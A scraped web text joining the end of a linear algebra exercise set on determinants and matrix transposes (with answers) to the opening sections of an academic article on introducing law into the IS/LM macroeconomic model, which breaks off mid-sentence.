\times 5$$ matrix $$\lbrack A\rbrack$$, the first row is interchanged with the fifth row, the determinant of the resulting matrix $$\lbrack B\rbrack$$is 1. $$\det(A)$$ 2. $$- \det(A)$$ 3. $$5\det(A)$$ 4. $$2\det(A)$$ (8). $$\det\begin{bmatrix} 0 & 1 & 0 & 0 \\ 0 & 0 & 1 & 0 \\ 0 & 0 & 0 & 1 \\ 1 & 0 & 0 & 0 \\ \end{bmatrix}$$ is 1. $$0$$ 2. $$1$$ 3. $$-1$$ 4. $$\infty$$ (9). Without using the cofactor method of finding determinants, find the determinant of $$\left\lbrack A \right\rbrack = \begin{bmatrix} 0 & 0 & 0 \\ 2 & 3 & 5 \\ 6 & 9 & 2 \\ \end{bmatrix}$$ Answer: $$0$$: Can you answer why? (10). Without using the cofactor method of finding determinants, find the determinant of $$\left\lbrack A \right\rbrack = \begin{bmatrix} 0 & 0 & 2 & 3 \\ 0 & 2 & 3 & 5 \\ 6 & 7 & 2 & 3 \\ 6.6 & 7.7 & 2.2 & 3.3 \\ \end{bmatrix}$$ Answer: $$0$$: Can you answer why? (11). Without using the cofactor method of finding determinants, find the determinant of $$\left\lbrack A \right\rbrack = \begin{bmatrix} 5 & 0 & 0 & 0 \\ 0 & 3 & 0 & 0 \\ 2 & 5 & 6 & 0 \\ 1 & 2 & 3 & 9 \\ \end{bmatrix}$$ Answer: $$5 \times 3 \times 6 \times 9 = 810$$: Can you answer why? (12). Given the matrix $$\left\lbrack A \right\rbrack = \begin{bmatrix} 125 & 25 & 5 & 1 \\ 512 & 64 & 8 & 1 \\ 1157 & 89 & 13 & 1 \\ 8 & 4 & 2 & 1 \\ \end{bmatrix}$$ and $$det(A) = - 32400$$ find the determinant of 1. $$\left\lbrack A \right\rbrack = \begin{bmatrix} 125 & 25 & 5 & 1 \\ 512 & 64 & 8 & 1 \\ 1141 & 81 & 9 & - 1 \\ 8 & 4 & 2 & 1 \\ \end{bmatrix}$$ 2. $$\left\lbrack A \right\rbrack = \begin{bmatrix} 125 & 25 & 1 & 5 \\ 512 & 64 & 1 & 8 \\ 1157 & 89 & 1 & 13 \\ 8 & 4 & 1 & 2 \\ \end{bmatrix}$$ 3. $$\left\lbrack B \right\rbrack = \begin{bmatrix} 125 & 25 & 5 & 1 \\ 1157 & 89 & 13 & 1 \\ 512 & 64 & 8 & 1 \\ 8 & 4 & 2 & 1 \\ \end{bmatrix}$$ 4. $$\left\lbrack C \right\rbrack = \begin{bmatrix} 125 & 25 & 5 & 1 \\ 1157 & 89 & 13 & 1 \\ 8 & 4 & 2 & 1 \\ 512 & 64 & 8 & 1 \\ \end{bmatrix}$$ 5. $$\left\lbrack D \right\rbrack = \begin{bmatrix} 125 & 25 & 5 & 1 \\ 512 & 64 & 8 & 1 \\ 1157 & 89 & 13 & 1 \\ 16 & 8 & 4 & 2 \\ \end{bmatrix}$$ Answer: A) $$-32400$$ B) $$32400$$ C) $$32400$$ D) $$-32400$$ E) $$-64800$$ (13). What is the transpose of $$\lbrack A\rbrack = \begin{bmatrix} 25 & 20 & 3 & 2 \\ 5 & 10 & 15 & 25 \\ 6 & 16 & 7 & 27 \\ \end{bmatrix}$$ Answer: $$\left\lbrack A \right\rbrack^{T} = \begin{bmatrix} 25 & 5 & 6 \\ 20 & 10 & 16 \\ 3 & 15 & 7 \\ 2 & 25 & 27 \\ \end{bmatrix}$$ (14). What values of the missing numbers will make this a skew-symmetric matrix? $$\lbrack A\rbrack = \begin{bmatrix} 0 & 3 & ? \\ ? & 0 & ? \\ 21 & ? & 0 \\ \end{bmatrix}$$ Answer: $$\begin{bmatrix} 0 & 3 & - 21 \\ - 3 & 0 & 4 \\ 21 & - 4 & 0 \\ \end{bmatrix}$$ (15). What values of the missing number will make this a symmetric matrix? $$\lbrack A\rbrack = \begin{bmatrix} 2 & 3 & ? \\ ? & 6 & 7 \\ 21 & ? & 5 \\ \end{bmatrix}$$ Answer: $$\begin{bmatrix} 2 & 3 & 21 \\ 3 & 6 & 7 \\ 21 & 7 & 5 \\ \end{bmatrix}$$ (16). Find the determinant of $$\left\lbrack A \right\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 64 & 8 & 1 \\ 144 & 12 & 5 \\ \end{bmatrix}$$ Answer: The determinant of $$\left\lbrack A \right\rbrack$$ is, $25\begin{bmatrix} 8 & 1 \\ 12 & 5 \\ \end{bmatrix} - 5\begin{bmatrix} 64 & 1 \\ 144 & 5 \\ \end{bmatrix} + 1\begin{bmatrix} 64 & 8 \\ 144 & 12 \\ \end{bmatrix}$ $\begin{split} &=25(28) - 5(176) + 1( - 384)\\ &= -564 \end{split}$ (17). What is the determinant of an upper triangular matrix $$\lbrack A\rbrack$$ that is of order $$n \times n$$? Answer: The determinant of an upper triangular matrix is the product of its diagonal elements,$$\prod_{i = 1}^{n}a_{{ii}}$$ (18). Given the determinant of $$\left\lbrack A \right\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 64 & 8 & 1 \\ 144 & 12 & a \\ \end{bmatrix}$$ is$$- 564$$, find $$a$$. Answer: $$det(A) = - 120a + 36$$ $$120a + 36 = 564$$ $$a = 5$$ (19). Why is the determinant of the following matrix zero? $$\left\lbrack A \right\rbrack = \begin{bmatrix} 0 & 0 & 0 \\ 2 & 3 & 5 \\ 6 & 9 & 2 \\ \end{bmatrix}$$ Answer: The first row of the matrix is zero, hence, the determinant of the matrix is zero. (20). Why is the determinant of the following matrix zero? $$\left\lbrack A \right\rbrack = \begin{bmatrix} 0 & 0 & 2 & 3 \\ 0 & 2 & 3 & 5 \\ 6 & 7 & 2 & 3 \\ 6.6 & 7.7 & 2.2 & 3.3 \\ \end{bmatrix}$$ Answer: Row 4 of the matrix is 1.1 times Row 3. Hence, its determinant is zero. (21). Show that if $$\lbrack A\rbrack\ \lbrack B\rbrack = \lbrack I\rbrack$$, where $$\lbrack A\rbrack\$$, $$\ \lbrack B\rbrack$$ and $$\lbrack I\rbrack$$ are matrices of $$n \times n$$ size and $$\lbrack I\rbrack$$ is an identity matrix, then $$det(A) \neq 0$$ and $$det(B) \neq 0$$. Answer: We know that $$det(AB) = det(A)det(B)$$. $[A][B] = [I]$ $det(AB) = det(I)$ $det(I) = \prod_{i = 1}^{n}{a_{{ii}} = \prod_{i = 1}^{n}1} = 1$ $det(A)det(B) = 1$ Therefore, $$det(A) \neq 0$$ and $$det(B) \neq 0$$.
2022-11-26 20:21:02
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9023638367652893, "perplexity": 331.27306796811314}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446708046.99/warc/CC-MAIN-20221126180719-20221126210719-00194.warc.gz"}
https://www.deepdyve.com/lp/oxford-university-press/a-theoretical-framework-for-law-and-macroeconomics-0mUyMhJQDz
# A Theoretical Framework for Law and Macroeconomics , Volume 21 (1) – May 1, 2019 35 pages /lp/oxford-university-press/a-theoretical-framework-for-law-and-macroeconomics-0mUyMhJQDz Publisher Oxford University Press ISSN 1465-7252 eISSN 1465-7260 DOI 10.1093/aler/ahy011 Publisher site See Article on Publisher Site ### Abstract Abstract This article considers the effects of law within a Keynesian macroeconomic model. Using the investment-savings and liquidity-money (IS/LM) model at the heart of “short-run” macroeconomics, I argue that law affects spending (“aggregate demand”) and that the changes in spending induced by law can affect output. I contrast the law and macroeconomic perspective with the law and microeconomic approach that has dominated law and economics. I demonstrate that law’s effects on aggregate demand, invariably ignored in law and economics, become particularly important when monetary policy is constrained by the “zero lower bound” (ZLB) on nominal interest rates. At the ZLB, interest rates cannot adjust to bring aggregate demand into balance with the economy’s supply potential. Economic output falls short of its potential due to inadequate demand. At the ZLB, I argue that some micro-economically disfavored legal instruments, such as command and control regulation crafted to increase spending, become appealing relative to seemingly superior alternative instruments such as Pigovian taxation. I conclude by arguing that law offers a potentially important but unexplored instrument of macroeconomic policy. 1. Introduction Law and economics should really be called “law and microeconomics.” Law and economics models aim to make law as microeconomically efficient as possible. Law and economics assumes that macroeconomic effects, such as aggregate demand shortages, either do not exist or can be handled with other instruments. These assumptions were reasonable approximations before 2008. During the “Great Moderation” of the post-World War II era, it seemed that the periodic but prolonged output declines that characterized the economic history of advanced economies in the nineteenth and early twentieth centuries were a thing of the past (Bernanke, 2004; Davis and Kahn, 2008). Mitigating small macroeconomic fluctuations caused by inadequate or excess “aggregate demand” (desired spending on consumption or investment) was a task for the central bank. As a result, there was no need to make law and economics more complicated by introducing macroeconomic considerations. The Great Recession of 2008–9 and its painful and long-lasting aftermath (now being called “secular stagnation”) undermined these conventional wisdoms. Central banks around the world, constrained by the zero lower bound (ZLB) on interest rates, have proven unable to mitigate a prolonged period of inadequate aggregate demand, with worldwide costs in the tens of trillions. In addition, the textbook backup policy for promoting aggregate demand, fiscal stimulus, was hardly tried, in part because of high debt levels, deficit restrictions, and legislative inertia. In the face of these policy failures, macroeconomists are “rethinking macroeconomic policy” (Blanchard, 2015).1 New instruments for macroeconomic stabilization are desperately needed. With an omniscient social planner, recessions caused by inadequate demand, like the Great Recession, would never occur. The social planner would raise spending to guarantee that output always equals capacity. A recession therefore represents a coordination failure (Mankiw). If all private actors would agree to spend more, then they would all be better off. But they cannot agree (privately) to spend more. In a recession, spending thus has a public good quality. In response, macroeconomic stabilization policy offers alternative coordination mechanisms to increase spending. These mechanisms include increasing the money supply, raising government spending and lowering taxes. But during the Great Recession, the coordination mechanisms offered to resolve the problem of inadequate aggregate demand have not included law. This is odd, because in many other areas we rely on law to solve coordination failures. Our neglect of the role of law in macroeconomic policy is also historically unusual. Law and regulation (e.g., the National Industrial Recovery Act or NIRA) formed the heart of the “New Deal” response to the Great Depression, which worked spectacularly well at first before losing efficacy. Similarly, the Nixon administration turned first to price controls authorized by the Economic Stabilization Act of 1971 rather than changes in fiscal and monetary policy to control the inflation of the 1970s. I am not arguing that we should adopt price controls. But our exclusive emphasis on the microeconomic effects of law ignores past practice. And if macroeconomic circumstances are bad enough, even the most microeconomically inefficient rules may be macroeconomically justified. In a recent American Economic Review article, for example, Eggerstsson (2012a) sets forth conditions under which suspension of antitrust laws become justified as a mechanism for raising inflation expectations and stimulating present day spending. Eggertsson argues that these conditions may have been satisfied in 1933, when the NIRA relaxed antitrust rules. Thus, law (aside from government spending and taxation) offers one hitherto unexamined tool for stabilizing aggregate demand. Like government spending and monetary policy, laws and regulations can stimulate or inhibit spending. Indeed, law plays a role in almost every spending decision. With the failure of traditional macroeconomic policy, the time has come to consider adding law to the macroeconomic policy toolkit. In this article, I introduce law into the investment-savings and liquidity-money (IS/LM) model of short-run macroeconomic fluctuations. This static general equilibrium model is the workhorse of macroeconomics textbooks as well as many discussions of macroeconomic policy (Krugman, 2000).2 IS/LM assumes that prices do not adjust freely—meaning that output responds to changes in aggregate demand. This distinguishes the IS/LM model from other workhorse models of economics (such as “supply and demand” curves), which assume that prices adjust freely to attain equilibrium. Because the IS/LM model is likely to be unfamiliar to many in law and economics, I spend more time explaining it than I would with a supply and demand curve in a law and microeconomics article. I find that law affects short-run macroeconomic fluctuations in the IS/LM models because law affects aggregate demand and, with fixed prices, changes in aggregate demand induced by law affect output. Taking a macroeconomic perspective, I find that some disfavored legal policies, such as command and control regulation as compared to Pigovian taxation, can become desirable if they stimulate aggregate demand sufficiently. Law’s effects on output and unemployment are particularly important when monetary policy is constrained by the “ZLB” on nominal interest rates. At the ZLB, law’s effects on aggregate demand are more likely to translate into changes in output rather than changes in interest rates. Finally, I offer a framework to compare a law’s microeconomic and macroeconomic effects, providing a more general framework for “law and economics” than has traditionally been presented. I argue that, at the ZLB, law should take into account short-run macroeconomic considerations and attempt to promote aggregate demand even at the cost of long-run inefficiencies. I offer a list of variables that make macroeconomic concerns more or less important. When the economy is not constrained by the ZLB, however, law and microeconomics as usual should continue, with monetary policy being used to stabilize aggregate demand. The article is organized as follows. Section 2 reviews the nascent law and macroeconomics literature. Section 3 illustrates the relevance of a macroeconomic approach by introducing macroeconomic considerations to the choice between Pigovian taxation and command and control regulation. Section 4 introduces the IS/LM curve and explains why laws can shift both curves. Section IV then combines the IS/LM curves into a general equilibrium theory that predicts how legal changes effect output and interest rates. Section IV also explains why the effects of law are much greater when interest rates are constrained by the ZLB than at other times. In Section 5, I contrast the traditional law and economics effects on “long-run potential output” with the short-run macroeconomic effects I examine here. Section 6 briefly compares the efficacy of law as instrument of aggregate demand management with other instruments, such as monetary policy and fiscal policy. Section 7 concludes with law and macroeconomic implications for lawmaking. 2. Law and Macroeconomics: A Literature Review This is not the first article to recognize the possibility that macroeconomic effects matter for law. For example, Shleifer and Vishny (1992) pointed to macroeconomic effects to demonstrate that auctions may not always yield efficient results in bankruptcy because of cyclically dependent liquidity constraints. Kelman (1993), in one of the few articles that considered law and macroeconomics before the Great Recession, primarily asked why there was no such thing as “law and macroeconomics” rather than attempting to develop the field. Tax law has been slightly more cognizant of macroeconomic concerns than other fields, although even in tax law microeconomic efficiency has been the dominant consideration. For example, from 2009 to the present, I wrote a number of papers discussing the macroeconomic effects of tax expenditures (Listokin, 2009a,b, 2012, 2016). I also argued that all tax policies should be examined for their stabilizing or destabilizing effects on the business cycle as well as their effects on microeconomic efficiency and equity (Listokin, 2009a,b, 2012, 2016).3 More recently, Masur and Posner (2012) have argued that Cost–Benefit Analysis should account for unemployment effects as well as direct costs. And Liscow (2016) has argued that bankruptcy law should pay more attention to job losses in recessions than in booms. All of these papers make important contributions to the nascent field of “law and macroeconomics.” But they are all very incomplete. Each focuses on a particular area of law, rather than asking if law has macroeconomic effects more generally. Even more importantly, the articles, with the exception of Shleifer and Vishny (1992), do not embed their contributions within a theoretical account for their macroeconomic effects. For example, Liscow (2016) asserts that job loss causes more harm in recessions due to “reallocation problems” of uncertain origin.4 In this article, by contrast, I put law and macroeconomic statements such as this one on a robust theoretical footing. This article compliments my companion article, “Law and Macroeconomics: The Law and Economics of Recessions,” which examines the interaction between law and macroeconomics in a more discursive setting (Listokin, 2017). This article, by contrast, firmly grounds law and macroeconomics in standard macroeconomic models. Writing outside the law and economics perspective, economists Mian and Sufi (2014) have demonstrated that foreclosure laws have important effects on consumption and employment in severe recessions. And in other work, Mian et al. (2013, 2015) describe an aggregate demand/aggregate supply mechanism with nominal rigidities as the transmission mechanism between aggregate demand shifts and effects on output. Eggertsson’s work also relates closely to this article. Eggertsson (2012) asks Can government policies that reduce the natural level of output increase actual output? In other words, can policies that are contractionary according to the neoclassical model, be expansionary once the model is extended to include [macroeconomic considerations]? For example, can facilitating monopoly pricing of firms and/or increasing the bargaining power of workers’ unions increase output? Most economists would find the mere question absurd. This article, however, shows that the answer is yes under the special “emergency” conditions that apply when the short-term nominal interest rate is zero and there is excessive deflation. Furthermore, it argues that these special “emergency” conditions were satisfied during the Great Depression in the United States. This article attempts to bring these insights to bear on law more generally. 3. An Example in Which Macroeconomic Factors Influence the Optimal Choice of Instrument to Control Externalities Consider a regulator choosing between two instruments to control externalities, a Pigovian tax versus command and control regulation. Traditionally, law and economics favors the Pigovian tax because it requires the regulator to know less information (Kaplow and Shavell, 2002; Masur and Posner, 2015).5 If the regulator calls for command and control regulation, then the regulator needs to know the best way to mitigate the externality. By contrast, a Pigovian tax allows market participants to determine the optimal mitigation strategy. To be even more concrete, suppose that a regulator is choosing between a carbon tax or mandating that all utilities install solar panels equal to 50% of their generating capacity. Conventional wisdom in law and economics holds that the carbon tax works better. If the cheapest way to achieve a given reduction in emissions is to install solar panels, then the tax, which raises the price of energy produced with carbon intensive methods, will encourage solar panel installation. If the cheapest way to reduce emissions is some other mechanism (e.g., energy conservation measures), then the carbon tax will provide the proper incentives while the solar panel mandate requires unnecessarily expensive emissions reduction via solar panels. I am deliberately choosing a command and control regulation that is inflexible and likely to be inefficient under traditional criteria. I am also choosing a command and control regulation that plausibly stimulates spending. Other command and control regulations that inhibit aggregate demand, such as a blanket prohibition on emissions, have negative effects on aggregate demand as well as the negative microeconomic effects just described. The argument in favor of a Pigovian carbon tax rather than command and control solar power mandates is compelling. Instead of wasting resources on solar panels, the carbon tax achieves the same emissions reduction and frees up resources for other socially valuable purposes. This conclusion, however, ignores the effects of the choice of instrument on aggregate demand. The traditional analysis thus implicitly assumes, not unreasonably, that output levels are determined by the supply capacity of the economy. Reduced spending on solar panels as a result of a carbon tax relative to a solar mandate will be replaced by increased spending in other areas of the economy, so that the economy always produces at its “potential.” The assertion that output will always equal capacity is known as Say’s Law. Keynesian macroeconomics disputes Say’s Law. Instead of output being determined by supply capacity, Keynesian theories predict that output is partially predicated on demand—that is, spending. More demand yields more output.6 In Keynesian theories, an economy’s supply capacity either has no meaning or supply capacity determines whether a given level of output is inflationary over the long run or not. Inflation rises in the long run if output exceeds capacity. Inflation falls in the long run if output falls short of capacity. In the short run, however, increases in spending translate only into higher output and/or higher interest rates—prices are fixed. Assume now that the economy is demand constrained. Demand falls far short of capacity and thus output falls far short of capacity, with inflation falling in the long run (perhaps below some target level). Unemployment rises. In addition, assume that the solar panel mandate raises spending compared to a carbon tax. (For example, suppose that companies only invest if required to and otherwise hold cash—the solar power mandate raises overall investment spending because companies are forced to use cash to install solar panels.) Under these assumptions, which are empirically plausible, the solar panel mandate may be more “efficient” than the Carbon tax. While the solar panels may not be the most microeconomically efficient means of mitigating emissions, the construction of solar panels during a recession raises demand and thus uses capacity that would otherwise have been idle. This “efficiency” can outweigh the seeming inefficiency of choosing a particular means of mitigating emissions rather than leaving the choice to the market. Thus, macroeconomic concerns can change our conclusions about the efficiency of different choices of legal instrument. In a recession, a demand-increasing command and control regulation may be more efficient than a Pigovian tax. This conclusion assumes that we know what regulations increase aggregate demand. But how do we know what increases aggregate demand (spending)? For example, the introduction of the solar power mandate might destroy confidence and cause investment to plummet. Companies may spend more on solar panels, but less on everything else. Under these alternative assumptions, a command and control regulation lowers, rather than raises, aggregate demand and should not be favored in recessions. The effects of a law on aggregate demand are thus an empirical question. But this is a well-posed empirical question that has not previously been focused on. Indeed, for many important regulatory interventions there are empirical estimates of job creation effects. For example, the Mercury and Air Toxics regulation issued in 2010 estimated that compliance would be associated with the creation of 46,000 jobs in the short run, a figure that includes the effects of power plants shutting down rather than complying with the regulation. Thus, we can often estimate what policies will raise or lower aggregate demand. For example, macroeconomics typically assumes that additional government spending and/or lower taxation raises aggregate demand. These are also ultimately empirical claims. If people react to lower taxes and higher spending by dramatically lowering their consumption and investment, then fiscal stimulus may not increase aggregate demand. But, over time, empirical observation has shown us that fiscal stimulus typically boosts spending. By introducing macroeconomics into the analysis of law, I do not pretend that we know for certain how each law raises or lowers total spending. But if we focus exclusively on law and microeconomics, we never even ask the question of how a law affects spending. Thus, a law and macroeconomics approach reframes the empirical questions we should ask about a law in order to determine what are efficient laws. For regulations that already estimate the impact of the regulation on jobs and spending, we should incorporate these estimates. And for regulations without such estimates, we can egange in armchair empiricism with regards to the aggregate demand effects of laws that we have not studied empirically. In this respect, law and macroeconomics would be no different than law and microeconomics, which also rely frequently on armchair empiricism—about microeconomic efficiency rather than about what “increases spending.” Finally, the choice between a carbon tax and a solar power mandate is an artificial one. In an ideal world, our response to a deep recession would be to increase spending and direct that spending toward the projects with the highest marginal value. But the world of macroeconomics is not an ideal world—there would be no recessions caused by inadequate demand with an ominiscient social planner. (Due to the Coase Theorem, there would not be much need for law and microeconomics either.) While a choice between two options is a simplification, it is a useful one for framing my analysis. 4. Law in Theories of Short-Run Macroeconomic Fluctuations The IS/LM model developed by Hicks and Samuelson offers a synthesis of the Keynesian and Classical Visions of macroeconomic behavior. In the Classical model, prices adjust to accommodate changes in demand. In the Keynesian model, output adjusts to accommodate changes in demand. Although the IS/LM model has been superseded in academic economics by “New Keynesian” dynamic stochastic general equilibrium (DSGE) models, the IS/LM model provides an excellent starting point for understanding short-run macroeconomics.7 IS/LM is the primary model used by macroeconomic policymakers and continues to be taught as the foundation of short-run macroeconomics to undergraduates (Mankiw, 2006). Even DSGE academic research in macroeconomics can often be explained within the simpler IS/LM framework (Blanchard, 2016). As N. Gregory Mankiw, chair of the Council of Economic Advisors in the George W. Bush administration, has written, The heart of [modern macroeconomics]—a dynamic general equilibrium system with nominal rigidities— is precisely what one finds in the early Keynesian models. Hicks proposed the IS-LM model, for example, in an attempt at putting the ideas of Keynes into a general equilibrium setting. …To a large extent, the new [Keynesian] synthesis picks up the research agenda that the profession abandoned, at the behest of the new classicals, in the 1970s. (Mankiw, 2006) The IS/LM model is a three-market static general equilibrium model of the economy.8 The three markets are goods, money, and bonds. Bonds are illiquid investments that pay interest, enabling bond issuers to make additional purchases of goods in the present. Money is a store of value that facilitates the purchase of goods. In the IS/LM model, we assume that prices are fixed but interest rates can adjust. 4.1. The IS Curve Short-run macroeconomic theories begin by observing that, in equilibrium, output must equal spending. If spending on private consumption, investment, and government provided public goods falls short of output, then inventories will accumulate. Firms will cut back their output until their production equals spending. Formally, this means that output, |$Y$|⁠, should equal spending on investment, |$I$|⁠, government spending, |$G$|⁠, and consumption, |$C$|⁠, Spending on consumption, |$C(Y-T)$|⁠, is an (increasing) function of disposable income, which equals total income minus taxes, |$T$|⁠.9 Spending on investment is a (decreasing) function of the interest rate, |$I(r)$|⁠. The IS curve is often depicted to reflect this negative relationship between the interest rate and output, as in Figure 1. \begin{align*} Y=C(Y-T)+I(r)+G^{10}\qquad \text{(IS)} \end{align*} Figure 1. Open in new tabDownload slide IS Curve. 4.1.1. Shifting the IS curve and the Keynesian multiplier. The IS curve shown in Figure 1 depicts the relation between output and the interest rate for given levels of taxes and government spending. Shifts in government taxation or spending shift the IS curve. Thus, an increase in government spending from |$G$| to |$G+\Delta G$| shifts the IS curve to the right as shown by equation IS and Figure 1. Intuitively, more government spending means more demand. The increase in demand shrinks inventories and causes firms to increase production to meet the increase in demand. Similarly, a decrease in taxes will raise disposable income, consumption spending, and finally output. Because the consumption function itself depends on output, increasing in government spending can have multiplier effects. An increase in government spending (from |$G$| to |$G+\Delta G$|⁠) increases output directly. This increase in output, in turn, leaves more disposable income for consumers. They raise their consumption. (Their consumption increases less than one for one because some of the increased income is taxed or retained as savings.) This increase in consumption increases Y still further. An initial increase in government spending, |$\Delta G$| thus gets “multiplied” into a more than one for one increase in output (⁠|$\Delta Y>\Delta G$|⁠). 4.1.2. Law and the IS curve. Taxes and government spending are not the only policy instruments that affect spending on consumption, income, or government spending and thereby shift the IS curve. Law can also shift the curve by increasing or decreasing expenditures on any of the three areas. Above, I examined how the instrument choice of a carbon tax versus a solar power mandate effects aggregate demand. To demonstrate the range of law and macroeconomics, I will provide several examples of how the law can increase spending on each of consumption, investment, and government spending. In each case, I rely on armchair empiricism for my claims.10 Consumption depends not only on total disposable income, but also on law. For example, a law that mandated a certain savings rate for all individuals would raise savings rates for all individuals who had previously been saving less than the mandatory amount. The increase in savings will also mean a decrease in consumption. (I will consider the effects on the interest rate and investment in the next section.) The IS curve shifts to the left—for any given interest rate, output is lower. Contract and consumer bankruptcy law also helps determine consumption. Debtors consume more than creditors out of a given amount of wealth—that is why they are debtors. Thus, a shift in contract and bankruptcy law that favors debtors over creditors shifts wealth to debtors and raises overall consumption in the short run (Mian and Sufi, 2014). The IS curve shifts to the right. For a given amount of disposable income, laws that distribute wealth to debtors from creditors will raise consumption because debtors have higher marginal propensities to consume than creditors. Investment is also a function of law as well as the interest rate. Suppose, for example, that residential zoning restrictions eased in all jurisdictions. This easing would make investment in housing more attractive at any interest rate and lead to more investment spending on construction of houses and apartments. Or consider the celebrated contracts case of Peevyhouse v. Garland, 382 P.2d 109 (Okla. 1962). In this case, the plaintiffs, whose land was ruined by the defendant’s mining activities, asked for specific performance of a provision to remedy the plaintiff’s land to its original condition, even though the cost of the remediation greatly exceeded the enhancement to the property’s value.11 Whatever the microeconomic merits of the court’s decision to award minimal damages, the court’s decision likely reduced investment and aggregate demand. If the court had awarded specific performance, investment spending (in improving the plaintiff’s property) would have gone up at any interest rate. Without specific performance, some of the funds that would have been devoted to this investment were likely to be saved. Government spending is obviously a function of the appropriations laws that enact the spending. But government spending is also affected by other laws. In the Great Recession, for example, spending on infrastructure was delayed by a thicket of state and local regulations that prevented projects from being “shovel ready” (Shear, 2010). Government spending is also determined by the institutional environment within which the spending occurs. If a bureaucracy makes qualifying for a government benefit program difficult, then government spending is likely to be less than it would be if qualification was easier—regardless of the content of the law establishing the government benefit program. In total, these six examples are illustrations of the myriad ways in which laws, regulations, and legal environments can promote or inhibit spending. 4.1.3. Law as a variable in the IS curve. Formally, I add |${\boldsymbol{l}}$| to the standard downward sloping IS equation. l is an |$n$| dimensional vector that measures law on |$n$| dimensions. Different elements of law will affect different components of the IS equation. Debtor and creditor law (⁠|$l_{1}$|⁠) for example, affects the consumption function. For a given amount of disposable income, laws that distribute wealth to debtors from creditors will raise consumption in the short run because debtors have higher marginal propensities to consume than creditors. Thus, |$\frac{\partial C}{\partial t_1}<0$| where a higher |$l_{1}$| indicates that the law is more favorable to creditors. \begin{align*} Y=C(Y-T,{\boldsymbol{l}})+l(r,{\boldsymbol{l}})+G({\boldsymbol{l}})\qquad \text{(IS)} \end{align*} Investment is also a function of law. an investment in housing construction that was marginally profitable with permissive zoning and a given interest rate will become unprofitable with more restrictive, and less profitable, zoning requirements. If |$l_{2}$| measures zoning restraints, with higher |$l_{2}$| meaning tougher zoning, then for investments on the margin, |$\frac{\partial I}{\partial t_2}<0$|⁠. For investments not on the margin, however, |$\frac{\partial I}{\partial l_2}$| has an ambiguous sign. For example, a developer of an inframarginal housing project may choose to comply with costly historic preservation requirements, raising spending on investment. The graph above demonstrates the shift in the IS curve when zoning requirements, |$l_{2}$|⁠, get looser for marginal investments. Because |$\frac{\partial I}{\partial l_2}<0$|⁠, a move toward looser zoning requirements shifts the IS curve given above to the right. Lawyers should not be surprised by the assertion that law can shift the IS curve. As lawyers have often observed, law can be a substitute for the taxes and government spending that are the paradigmatic examples of interventions that shift the IS curve (Kelman, 1999, pp. 1–5, 77–8; Posner, 1971). If taxes and government shift the IS curve, then law can too. 4.1.4. The size of the shift in the IS curve induced by law. Even if law shifts the IS curve, we may be skeptical about the size of the shift. For example, if one town loosens its zoning law, then investment spending should increase, but not by much relative to the size of the economy. Is it even worth mentioning? I offer two responses. First, while any one legal decision may not have enormous effects on aggregate demand, the cumulative effects of legal decisions on aggregate demand could be enormous. If every municipality (or even one state) considered the effects of zoning law on aggregate demand and loosened zoning laws in recessions, the effects would be macroeconomically significant. And if all legislators, regulators, judges, and others attempted to stimulate the economy during the appropriate times, the stimulus could be massive (I will talk below about legal actor’s capacity to make such decisions.) Secondly, some individual legal decisions are macroeconomically significant. For example, the instrumental choice between a carbon tax or a solar panel mandate on the entire United States is itself likely to have measurable effects on total spending. 4.1.5. The inadequacy of the IS curve alone as a model of the economy. Operating alone, the IS curve provides an incomplete model for an economy’s equilibrium. First, it predicts that more demand always means more output. This is clearly unrealistic at extreme levels. Suppose, for example, that the government goes on a crazy spending spree, with a fiscal deficit equal to more than 100% of the previous year’s output. We do not think that the economy will just work harder indefinitely to meet the government’s demand and double output. Yet that is what the IS curve alone predicts. In general, the IS curve ignores opportunity costs. If government spending goes down because the government spends less and borrows less money, then there should be more opportunity for consumption and investment by the private sector. This should offset some or all of the decrease in output attributed to the fall in government spending. The LM curve introduces the possibility of such effects by allowing the interest rate, as well as the output level, to become a function of demand. Movements in the interest rate allow the economy to adjust in more realistic ways to changes in demand. 4.2. The LM curve While the IS curve describes equilibrium in the goods market, the LM curve describes equilibrium in the money market. Savings can be held in two forms—bonds or money. Money facilitates transactions, while bonds do not. In order to induce people to hold bonds rather than money, bonds pay an interest rate. At higher income levels, people want to hold more money to facilitate the additional transactions that are occurring. In response, bonds must offer a higher interest rate. Thus, the LM curve (describing equilibrium in the money market) depicts an upward sloping relation between the output level and the interest rate, as depicted in Figure 3. Formally, \begin{align*} \left(\frac{M}{P}\right)=L(r,y)\qquad \text{(LM)} \end{align*} At equilibrium in the money market, the real money supply, given by |$\left(\frac{M}{P}\right)$|⁠, must equal the demand for money, |$L(r,y)$|⁠.12 The demand for money is increasing in |$Y, \frac{\partial L}{\partial Y}>0$|⁠. When output is high (meaning that there are more total transactions), people want to hold more money to facilitate transactions. The demand for money is decreasing in |$r, \frac{\partial L}{\partial r}<0$|⁠. Higher interest rates raise the cost of holding money (which yields no return) as an asset, as opposed to bonds. For a given real money supply, |$\left(\frac{M}{\bar{P}}\right)^S$| we can draw an LM curve in |$(r,Y)$| space (see Figure 3). Increases in base money, |$\overline{M}$|⁠, (from |$\overline{M_1}$| to |$\overline{M_2}$|⁠) shift the LM curve outward, as shown in Figure 3.13 Base money is the element of the money supply that determines the very short-term interest rate targeted by central banks (e.g., the Federal Funds rate). By increasing the base money supply, the central bank lowers the short-term interest rate.14 4.2.1. Law and the LM curve. Law plays a role in the formation of the LM curve. Most directly, law governs the operation of the central bank, which determines the level of the “monetary base.” Law—specifically financial regulation—also governs the process by which base money, |$\overline{M}$|⁠, is converted into the money supply, |$M$|⁠, a process known as the “money 